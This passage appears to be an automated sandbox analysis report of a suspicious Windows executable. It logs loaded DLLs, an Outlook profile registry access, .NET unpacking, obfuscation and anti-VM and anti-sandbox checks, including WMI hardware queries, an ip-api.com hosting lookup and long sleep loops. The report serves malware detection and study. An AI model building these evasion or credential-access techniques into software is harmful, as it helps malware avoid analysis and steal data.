Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ifmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasmontr.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mfc42u.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: authfwcfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwpolicyiomgr.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: firewallapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcmonitor.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3cfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dot3api.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: onex.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappcfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: eappprxy.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: fwcfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: hnetmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netshell.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netsetupapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: netiohlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: httpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshipsec.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: activeds.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: polstore.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winipsec.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: adsldpc.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: nshwfp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2pnetsh.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: p2p.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rpcnsh.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: whhelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlancfg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wlanapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wshelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wevtapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: peerdistsh.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wcmapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: rmclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mobilenetworking.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: ktmw32.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: mprmsg.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\msiexec.exe Section loaded: msi.dll Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: 14posdLrGh.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: 14posdLrGh.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 14posdLrGh.exe, duniwecusacejutixoqoutput.cs .Net Code: yoluqih System.Reflection.Assembly.Load(byte[])
Source: 14posdLrGh.exe, duniwecusacejutixoqoutput.cs .Net Code: yoluqih
Binary contains a suspicious time stamp
Source: 14posdLrGh.exe Static PE information: 0xEBCB0C67 [Wed May 11 11:45:43 2095 UTC]
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00888460 push eax; ret 0_2_00888461
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_0088D67A push F0054711h; retn 0060h 0_2_0088D685
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_00883EF7 push ebp; ret 0_2_00883EF8
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_057D29E0 pushad ; retf 0_2_057D29ED
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_059D6A00 push eax; ret 0_2_059D6A01
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05AD5C82 push 1405ACE0h; iretd 0_2_05AD5C8D
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05AD6299 push CC05ACE6h; iretd 0_2_05AD62A5
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CD51AE push ebx; retf 0_2_05CD51BA
Source: C:\Users\user\Desktop\14posdLrGh.exe Code function: 0_2_05CF3DE1 push es; ret 0_2_05CF3DF0
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\14posdLrGh.exe Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: 14posdLrGh.exe PID: 6516, type: MEMORYSTR
Check if machine is in data center or colocation facility
Source: global traffic HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: 14posdLrGh.exe, 00000000.00000002.1677581277.000000000275F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\14posdLrGh.exe Memory allocated: 880000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Memory allocated: 2490000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Memory allocated: 23C0000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599871 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599746 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599587 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599464 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599353 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599211 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598875 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598677 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598557 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598451 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598343 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598233 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598125 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598016 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597891 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597766 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597656 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597547 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597438 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597313 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597198 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 597078 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596969 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596859 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596750 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596640 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596484 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596374 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596266 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596156 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 596047 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595938 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595828 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595719 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595594 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595484 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595375 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595266 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 595156 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\14posdLrGh.exe Window / User API: threadDelayed 2066 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Window / User API: threadDelayed 4842 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -24903104499507879s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 2304 Thread sleep count: 2066 > 30 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599871s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599746s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599587s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 2304 Thread sleep count: 4842 > 30 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599464s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599353s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -599211s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598875s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598677s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598557s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598451s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598343s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598233s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598125s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -598016s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597891s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597766s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597656s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597547s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597438s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597313s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597198s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -597078s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596969s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596859s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596750s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596640s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596484s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596374s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596266s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596156s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -596047s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595938s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595828s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595719s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595594s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595484s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595375s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595266s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 5728 Thread sleep time: -595156s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 6632 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe TID: 6580 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * From Win32_ComputerSystem
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Users\user\Desktop\14posdLrGh.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599871 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599746 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599587 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599464 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599353 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 599211 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598875 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598677 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598557 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598451 Jump to behavior
Source: C:\Users\user\Desktop\14posdLrGh.exe Thread delayed: delay time: 598343 Jump to behavior
